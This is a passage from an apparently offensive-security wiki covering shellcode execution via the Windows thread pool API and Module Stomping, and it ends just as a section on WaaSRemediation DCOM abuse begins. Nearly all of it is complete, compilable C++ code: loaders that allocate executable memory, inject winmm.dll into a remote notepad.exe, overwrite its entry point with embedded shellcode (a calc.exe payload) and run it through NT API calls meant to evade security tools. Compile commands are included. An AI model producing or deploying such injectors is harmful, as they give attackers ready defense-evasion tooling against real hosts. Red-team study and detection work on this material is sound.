    unsigned char decoded[] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};
    SIZE_T length = sizeof(decoded);


    // Load NT functions dynamically
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) {
        std::cerr << "Failed to get handle to ntdll.dll" << std::endl;
        return 1;
    }
    
    pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    pNtProtectVirtualMemory NtProtectVirtualMemory = (pNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
    
    if (!NtAllocateVirtualMemory || !NtWriteVirtualMemory || !NtProtectVirtualMemory) {
        std::cerr << "Failed to get addresses of NT functions" << std::endl;
        return 1;
    }

    //####SYSCALL####
    HANDLE hProc = GetCurrentProcess();
    PVOID base_addr = NULL;
    SIZE_T pnew = length;
    SIZE_T bytesWritten = 0;
    DWORD oldProtect = 0;
    NTSTATUS status;

    // Allocate memory for shellcode
    status = NtAllocateVirtualMemory(hProc, &base_addr, 0, &pnew, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (status != 0) {
        std::cerr << "NtAllocateVirtualMemory failed with status: " << std::hex << status << std::endl;
    }

    // Write shellcode to allocated memory
    status = NtWriteVirtualMemory(hProc, base_addr, decoded, pnew, &bytesWritten);
    if (status != 0) {
        std::cerr << "NtWriteVirtualMemory failed with status: " << std::hex << status << std::endl;
    }

    // Change memory protection to executable
    status = NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&pnew, PAGE_EXECUTE_READ, &oldProtect);
    if (status != 0) {
        std::cerr << "NtProtectVirtualMemory failed with status: " << std::hex << status << std::endl;
    }

    std::cout << "Executing shellcode using Thread Pool API..." << std::endl;

    // Create thread pool work item with shellcode as callback
    PTP_WORK work = CreateThreadpoolWork((PTP_WORK_CALLBACK)base_addr, NULL, NULL);
    if (!work) {
        std::cerr << "CreateThreadpoolWork failed with error: " << GetLastError() << std::endl;
    }

    // Submit work item to thread pool
    SubmitThreadpoolWork(work);

    // Wait for work to complete
    WaitForThreadpoolWorkCallbacks(work, FALSE);
    CloseThreadpoolWork(work);
    
    std::cout << "Execution completed" << std::endl;
    return 0;
}

int main()
{

    esc_main(NULL);
    return 0;
}
```

{% endcode %}

We can compile it from linux using following command

```bash
x86_64-w64-mingw32-g++ PoolCallback.cpp -o PoolCallback.exe -std=c++20 -static
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait>" %}


# Module Stomping Shellcode Injection

## Theory

**Module Stomping** is an advanced **defense evasion** technique where an attacker loads a legitimate DLL into memory and then overwrites its executable code (usually the `.text` section or entry point) with **malicious shellcode**. Since the DLL remains mapped in the process memory, traditional security tools might overlook the malicious modifications, assuming it is a legitimate module.

This technique is effective because:

* The DLL remains registered in the **PEB (Process Environment Block)**
* Memory scanners may not flag it as suspicious since it appears as a **legitimate loaded module**
* Overwriting the `.text` section allows execution of **arbitrary code**

#### Execution Flow

1. Injects some benign Windows DLL into a remote or local process
2. Overwrites DLL's, loaded in step 1, `AddressOfEntryPoint` point with shellcode
3. Starts a new thread in the target process at the benign DLL's entry point, where the shellcode has been written to, during step 2

## Practice

{% tabs %}
{% tab title="C++ (Local Process)" %}
The following code implements Module Stomping by loading the `winmm.dll` into the current process, and overwrite its .text section with our shellcode.

{% code title="ModuleStomping.cpp" %}

```cilkcpp
#include <iostream>
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <tchar.h>
#include <string>

// Add these typedefs and function declarations for the NT functions
typedef NTSTATUS (NTAPI *pNtWriteVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    PVOID Buffer,
    SIZE_T NumberOfBytesToWrite,
    PSIZE_T NumberOfBytesWritten
);

typedef NTSTATUS (NTAPI *pNtProtectVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    PSIZE_T RegionSize,
    ULONG NewProtect,
    PULONG OldProtect
);

typedef HMODULE (WINAPI *pLoadLibraryExW)(
    LPCWSTR lpLibFileName,
    HANDLE hFile,
    DWORD dwFlags
);

// Define NTSTATUS if not already defined
#ifndef NTSTATUS
typedef LONG NTSTATUS;
#endif

// Define DONT_RESOLVE_DLL_REFERENCES if not already defined
#ifndef DONT_RESOLVE_DLL_REFERENCES
#define DONT_RESOLVE_DLL_REFERENCES 0x00000001
#endif

DWORD WINAPI esc_main(LPVOID lpParameter)
{
    // Shellcode - replace with your actual shellcode
    // calc.exe
    unsigned char decoded[] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};
    SIZE_T length = sizeof(decoded);

    // Load NT functions dynamically
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) {
        std::cerr << "Failed to get handle to ntdll.dll" << std::endl;
        return 1;
    }
    
    pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    pNtProtectVirtualMemory NtProtectVirtualMemory = (pNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
    
    if (!NtWriteVirtualMemory || !NtProtectVirtualMemory) {
        std::cerr << "Failed to get addresses of NT functions" << std::endl;
        return 1;
    }

    // Get handle to kernel32.dll to use LoadLibraryExW
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
    if (!hKernel32) {
        std::cerr << "Failed to get handle to kernel32.dll" << std::endl;
        return 1;
    }

    pLoadLibraryExW LoadLibraryExW = (pLoadLibraryExW)GetProcAddress(hKernel32, "LoadLibraryExW");
    if (!LoadLibraryExW) {
        std::cerr << "Failed to get address of LoadLibraryExW" << std::endl;
        return 1;
    }

    // Choose a DLL to stomp - using a non-critical DLL
    const wchar_t* dllToStomp = L"winmm.dll";
    
    std::cout << "Loading a fresh copy of the DLL for stomping..." << std::endl;
    
    // Load a fresh copy of the DLL with DONT_RESOLVE_DLL_REFERENCES flag
    // This loads the DLL but doesn't execute its initialization routines
    HMODULE hModule = LoadLibraryExW(dllToStomp, NULL, DONT_RESOLVE_DLL_REFERENCES);
    
    if (!hModule) {
        std::cerr << "Failed to load module for stomping. Error: " << GetLastError() << std::endl;
        return 1;
    }

    // Get module information
    MODULEINFO moduleInfo;
    if (!GetModuleInformation(GetCurrentProcess(), hModule, &moduleInfo, sizeof(moduleInfo))) {
        std::cerr << "Failed to get module information. Error: " << GetLastError() << std::endl;
        FreeLibrary(hModule);
        return 1;
    }

    std::cout << "Successfully loaded module at address: 0x" << std::hex << moduleInfo.lpBaseOfDll << std::endl;
    std::cout << "Module size: " << std::dec << moduleInfo.SizeOfImage << " bytes" << std::endl;

    // Find the .text section to overwrite
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleInfo.lpBaseOfDll;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((BYTE*)moduleInfo.lpBaseOfDll + dosHeader->e_lfanew);
    
    // Find the entry point
    PVOID targetAddress = (PVOID)((BYTE*)moduleInfo.lpBaseOfDll + ntHeader->OptionalHeader.AddressOfEntryPoint);
    
    // If entry point is not suitable, use a fixed offset
    if (!targetAddress) {
        targetAddress = (PVOID)((BYTE*)moduleInfo.lpBaseOfDll + 0x1000); // Skip PE header
    }

    std::cout << "Target address for stomping: 0x" << std::hex << targetAddress << std::endl;

    // Change memory protection to allow writing
    HANDLE hProc = GetCurrentProcess();
    DWORD oldProtect = 0;
    PVOID baseAddress = targetAddress;
    SIZE_T regionSize = length;
    NTSTATUS status;

    status = NtProtectVirtualMemory(hProc, &baseAddress, &regionSize, PAGE_READWRITE, &oldProtect);
    if (status != 0) {
        std::cerr << "NtProtectVirtualMemory failed with status: " << std::hex << status << std::endl;
        FreeLibrary(hModule);
        return 1;
    }

    // Write shellcode to the module's memory
    SIZE_T bytesWritten = 0;
    status = NtWriteVirtualMemory(hProc, targetAddress, decoded, length, &bytesWritten);
    if (status != 0) {
        std::cerr << "NtWriteVirtualMemory failed with status: " << std::hex << status << std::endl;
        FreeLibrary(hModule);
        return 1;
    }

    std::cout << "Successfully wrote " << std::dec << bytesWritten << " bytes to the module" << std::endl;

    // Restore original memory protection
    status = NtProtectVirtualMemory(hProc, &baseAddress, &regionSize, PAGE_EXECUTE_READ, &oldProtect);
    if (status != 0) {
        std::cerr << "Failed to restore memory protection. Status: " << std::hex << status << std::endl;
        FreeLibrary(hModule);
        return 1;
    }

    std::cout << "Executing stomped module code..." << std::endl;

    // Execute the shellcode
    FARPROC stomped_func = (FARPROC)targetAddress;
    stomped_func();

    std::cout << "Execution completed" << std::endl;
    
    // Optionally free the library when done
    // FreeLibrary(hModule);
    
    return 0;
}

int main()
{
    esc_main(NULL);
    return 0;
} 
```

{% endcode %}

We can compile it from linux using following command

```bash
x86_64-w64-mingw32-g++ ModuleStomping.cpp -o ModuleStomping.exe -std=c++20 -static
```

{% endtab %}

{% tab title="C++ (Remote Process)" %}
The following code implements Module Stomping by loading the `winmm.dll` into a remote `notepad.exe` process, and overwrite its .text section with our shellcode.

{% code title="ModuleStomping.cpp" %}

```cilkcpp
#include <iostream>
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <tchar.h>
#include <string>

// NT API typedefs and structures
typedef LONG NTSTATUS;

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

// NT API function typedefs
typedef NTSTATUS (NTAPI *pNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
);

typedef NTSTATUS (NTAPI *pNtWriteVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    PVOID Buffer,
    SIZE_T NumberOfBytesToWrite,
    PSIZE_T NumberOfBytesWritten
);

typedef NTSTATUS (NTAPI *pNtProtectVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    PSIZE_T RegionSize,
    ULONG NewProtect,
    PULONG OldProtect
);

typedef NTSTATUS (NTAPI *pNtCreateThreadEx)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE ProcessHandle,
    PVOID StartRoutine,
    PVOID Argument,
    ULONG CreateFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    PVOID AttributeList
);

typedef NTSTATUS (NTAPI *pNtWaitForSingleObject)(
    HANDLE Handle,
    BOOLEAN Alertable,
    PLARGE_INTEGER Timeout
);

typedef NTSTATUS (NTAPI *pNtClose)(
    HANDLE Handle
);

typedef NTSTATUS (NTAPI *pNtFreeVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    PSIZE_T RegionSize,
    ULONG FreeType
);

typedef HMODULE (WINAPI *pLoadLibraryExW)(
    LPCWSTR lpLibFileName,
    HANDLE hFile,
    DWORD dwFlags
);

// Define DONT_RESOLVE_DLL_REFERENCES if not already defined
#ifndef DONT_RESOLVE_DLL_REFERENCES
#define DONT_RESOLVE_DLL_REFERENCES 0x00000001
#endif

// Function to find a process by name
DWORD FindProcessId(const wchar_t* processName) {
    DWORD pid = 0;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
    if (snapshot != INVALID_HANDLE_VALUE) {
        PROCESSENTRY32W processEntry;
        processEntry.dwSize = sizeof(processEntry);
        
        if (Process32FirstW(snapshot, &processEntry)) {
            do {
                if (_wcsicmp(processEntry.szExeFile, processName) == 0) {
                    pid = processEntry.th32ProcessID;
                    break;
                }
            } while (Process32NextW(snapshot, &processEntry));
        }
        CloseHandle(snapshot);
    }
    
    return pid;
}

DWORD WINAPI esc_main(LPVOID lpParameter)
{
    //calc.exe shellcode
    unsigned char decoded[] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};
    SIZE_T length = sizeof(decoded);
    
    // Load NT functions dynamically
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) {
        std::cerr << "Failed to get handle to ntdll.dll" << std::endl;
        return 1;
    }
    
    pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    pNtProtectVirtualMemory NtProtectVirtualMemory = (pNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
    pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
    pNtWaitForSingleObject NtWaitForSingleObject = (pNtWaitForSingleObject)GetProcAddress(hNtdll, "NtWaitForSingleObject");
    pNtClose NtClose = (pNtClose)GetProcAddress(hNtdll, "NtClose");
    pNtFreeVirtualMemory NtFreeVirtualMemory = (pNtFreeVirtualMemory)GetProcAddress(hNtdll, "NtFreeVirtualMemory");
    
    if (!NtAllocateVirtualMemory || !NtWriteVirtualMemory || !NtProtectVirtualMemory || 
        !NtCreateThreadEx || !NtWaitForSingleObject || !NtClose || !NtFreeVirtualMemory) {
        std::cerr << "Failed to get addresses of NT functions" << std::endl;
        return 1;
    }

    HANDLE hProc = NULL;
    HANDLE hThread = NULL;
    DWORD oldProtect = 0;
    NTSTATUS status;

    // Find a target process - for example, notepad.exe
    const wchar_t* targetProcess = L"notepad.exe";
    DWORD pid = FindProcessId(targetProcess);
    
    if (pid == 0) {
        std::wcout << L"Target process " << targetProcess << L" not found. Please start it first." << std::endl;
        return 1;
    }
    
    std::cout << "Found target process with PID: " << pid << std::endl;
    
    // Open the target process with all access
    hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProc) {
        std::cerr << "Failed to open target process. Error: " << GetLastError() << std::endl;
        return 1;
    }

    // Validate that we have a valid process handle
    if (hProc == NULL) {
        std::cerr << "No valid target process handle provided" << std::endl;
        return 1;
    }

    // Choose a single DLL to inject and stomp
    const char* dllToStomp = "C:\\Windows\\System32\\winmm.dll";
    std::cout << "Attempting to inject: " << dllToStomp << std::endl;
    
    // Allocate memory for the DLL path in the remote process
    size_t pathLen = strlen(dllToStomp) + 1;
    PVOID remoteBuffer = NULL;
    SIZE_T regionSize = pathLen;
    
    status = NtAllocateVirtualMemory(hProc, &remoteBuffer, 0, &regionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (status != 0) {
        std::cerr << "NtAllocateVirtualMemory failed with status: 0x" << std::hex << status << std::endl;
        CloseHandle(hProc);
        return 1;
    }

    // Write the DLL path to the remote process
    SIZE_T bytesWritten = 0;
    status = NtWriteVirtualMemory(hProc, remoteBuffer, (PVOID)dllToStomp, pathLen, &bytesWritten);
    if (status != 0) {
        std::cerr << "NtWriteVirtualMemory failed with status: 0x" << std::hex << status << std::endl;
        NtFreeVirtualMemory(hProc, &remoteBuffer, &regionSize, MEM_RELEASE);
        CloseHandle(hProc);
        return 1;
    }

    // Get address of LoadLibraryA
    PVOID loadLibraryAddr = (PVOID)GetProcAddress(
        GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
    if (!loadLibraryAddr) {
        std::cerr << "Failed to get address of LoadLibraryA. Error: " << GetLastError() << std::endl;
        NtFreeVirtualMemory(hProc, &remoteBuffer, &regionSize, MEM_RELEASE);
        CloseHandle(hProc);
        return 1;
    }

    // Create a remote thread to load the DLL
    status = NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProc, loadLibraryAddr, remoteBuffer, 0, 0, 0, 0, NULL);
    if (status != 0) {
        std::cerr << "NtCreateThreadEx failed with status: 0x" << std::hex << status << std::endl;
        NtFreeVirtualMemory(hProc, &remoteBuffer, &regionSize, MEM_RELEASE);
        CloseHandle(hProc);
        return 1;
    }

    // Wait for the thread to complete
    status = NtWaitForSingleObject(hThread, FALSE, NULL);
    if (status != 0) {
        std::cerr << "NtWaitForSingleObject failed with status: 0x" << std::hex << status << std::endl;
    }
    NtClose(hThread);
    
    std::cout << "DLL injection thread completed, checking if module was loaded..." << std::endl;
    
    // Extract just the filename from the path for comparison
    char filename[MAX_PATH] = {0};
    const char* lastSlash = strrchr(dllToStomp, '\\');
    if (lastSlash) {
        strcpy_s(filename, sizeof(filename), lastSlash + 1);
    } else {
        strcpy_s(filename, sizeof(filename), dllToStomp);
    }
    
    // Free the remote buffer as we don't need it anymore
    NtFreeVirtualMemory(hProc, &remoteBuffer, &regionSize, MEM_RELEASE);
    
    // Find the injected module in the remote process
    HMODULE remoteModule = NULL;
    HMODULE hModules[1024] = {0};
    DWORD cbNeeded = 0;
    char moduleName[MAX_PATH] = {0};
    
    if (EnumProcessModules(hProc, hModules, sizeof(hModules), &cbNeeded)) {
        for (unsigned int j = 0; j < (cbNeeded / sizeof(HMODULE)); j++) {
            if (GetModuleFileNameExA(hProc, hModules[j], moduleName, sizeof(moduleName))) {
                // Check if the module name contains our DLL name
                if (strstr(moduleName, filename) != nullptr) {
                    remoteModule = hModules[j];
                    std::cout << "Found module " << filename << " at address 0x" << std::hex << remoteModule << std::endl;
                    break;
                }
            }
        }
    }
    
    if (!remoteModule) {
        std::cerr << "Failed to find injected module in remote process" << std::endl;
        CloseHandle(hProc);
        return 1;
    }

    // Read the PE header from the remote process
    DWORD headerBufferSize = 0x1000;
    LPVOID headerBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);
    if (!headerBuffer) {
        std::cerr << "Failed to allocate memory for PE header. Error: " << GetLastError() << std::endl;
        CloseHandle(hProc);
        return 1;
    }
    
    if (!ReadProcessMemory(hProc, remoteModule, headerBuffer, headerBufferSize, NULL)) {
        std::cerr << "Failed to read PE header from remote process. Error: " << GetLastError() << std::endl;
        HeapFree(GetProcessHeap(), 0, headerBuffer);
        CloseHandle(hProc);
        return 1;
    }
    
    // Parse the PE header to find the entry point
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headerBuffer;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)headerBuffer + dosHeader->e_lfanew);
    DWORD_PTR entryPointOffset = ntHeader->OptionalHeader.AddressOfEntryPoint;
    LPVOID entryPoint = (LPVOID)((DWORD_PTR)remoteModule + entryPointOffset);
    
    std::cout << "Module entry point offset: 0x" << std::hex << entryPointOffset << std::endl;
    std::cout << "Module entry point address: 0x" << std::hex << entryPoint << std::endl;
    
    // Write shellcode to the module's entry point
    std::cout << "Writing shellcode to module entry point..." << std::endl;
    
    // Change memory protection to allow writing
    PVOID protectAddress = entryPoint;
    SIZE_T protectSize = length;
    status = NtProtectVirtualMemory(hProc, &protectAddress, &protectSize, PAGE_READWRITE, &oldProtect);
    if (status != 0) {
        std::cerr << "NtProtectVirtualMemory failed with status: 0x" << std::hex << status << std::endl;
        HeapFree(GetProcessHeap(), 0, headerBuffer);
        CloseHandle(hProc);
        return 1;
    }
    
    // Write shellcode to the module's entry point
    status = NtWriteVirtualMemory(hProc, entryPoint, decoded, length, &bytesWritten);
    if (status != 0) {
        std::cerr << "NtWriteVirtualMemory failed with status: 0x" << std::hex << status << std::endl;
        HeapFree(GetProcessHeap(), 0, headerBuffer);
        CloseHandle(hProc);
        return 1;
    }
    
    std::cout << "Successfully wrote " << std::dec << bytesWritten << " bytes to the module entry point" << std::endl;
    
    // Restore original memory protection
    status = NtProtectVirtualMemory(hProc, &protectAddress, &protectSize, PAGE_EXECUTE_READ, &oldProtect);
    if (status != 0) {
        std::cerr << "Failed to restore memory protection. Status: 0x" << std::hex << status << std::endl;
        HeapFree(GetProcessHeap(), 0, headerBuffer);
        CloseHandle(hProc);
        return 1;
    }
    
    // Free the header buffer
    HeapFree(GetProcessHeap(), 0, headerBuffer);
    
    // Execute the shellcode by creating a thread at the entry point
    std::cout << "Executing shellcode from module entry point..." << std::endl;
    
    // Use NtCreateThreadEx instead of CreateRemoteThread
    status = NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProc, (PVOID)entryPoint, NULL, 0, 0, 0, 0, NULL);
    if (status != 0) {
        std::cerr << "NtCreateThreadEx failed with status: 0x" << std::hex << status << std::endl;
        CloseHandle(hProc);
        return 1;
    }
    
    // Wait for the thread to complete using NtWaitForSingleObject
    status = NtWaitForSingleObject(hThread, FALSE, NULL);
    if (status != 0) {
        std::cerr << "NtWaitForSingleObject failed with status: 0x" << std::hex << status << std::endl;
    }
    
    // Close the thread handle
    NtClose(hThread);
    CloseHandle(hProc);
    
    std::cout << "Execution completed in remote process" << std::endl;
    
    return 0;
}

int main()
{
    esc_main(NULL);
    return 0;
}
```

{% endcode %}

We can compile it from linux using following command

```bash
x86_64-w64-mingw32-g++ ModuleStomping.cpp -o ModuleStomping.exe -std=c++20 -static
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection>" %}


# Remote .NET Assembly Loading through WaaSRemediation DCOM Abuse

## Theory

The **`IDispatch`** interface exposed in the **`WaaSRemediation`** COM class, can be manipulated for trapped COM object abuse and .NET code execution. **`WaaSRemediation`** is implemented in the **`WaaSMedicSvc`** service, which executes as a [**Protected Process Light (PPL)**](https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-#system-protected-process) **svchost.exe** process in the context of NT AUTHORITY\SYSTEM. This technique was discovered In February 2025 by James Forshaw ([@tiraniddo](https://x.com/tiraniddo)) from Google Project Zero

Fore more information about [COM ](https://learn.microsoft.com/en-us/windows/win32/com/com-technical-overview)and DCOM, check [this page](/redteam/pivoting/dcom).

#### Trapped COM Objects

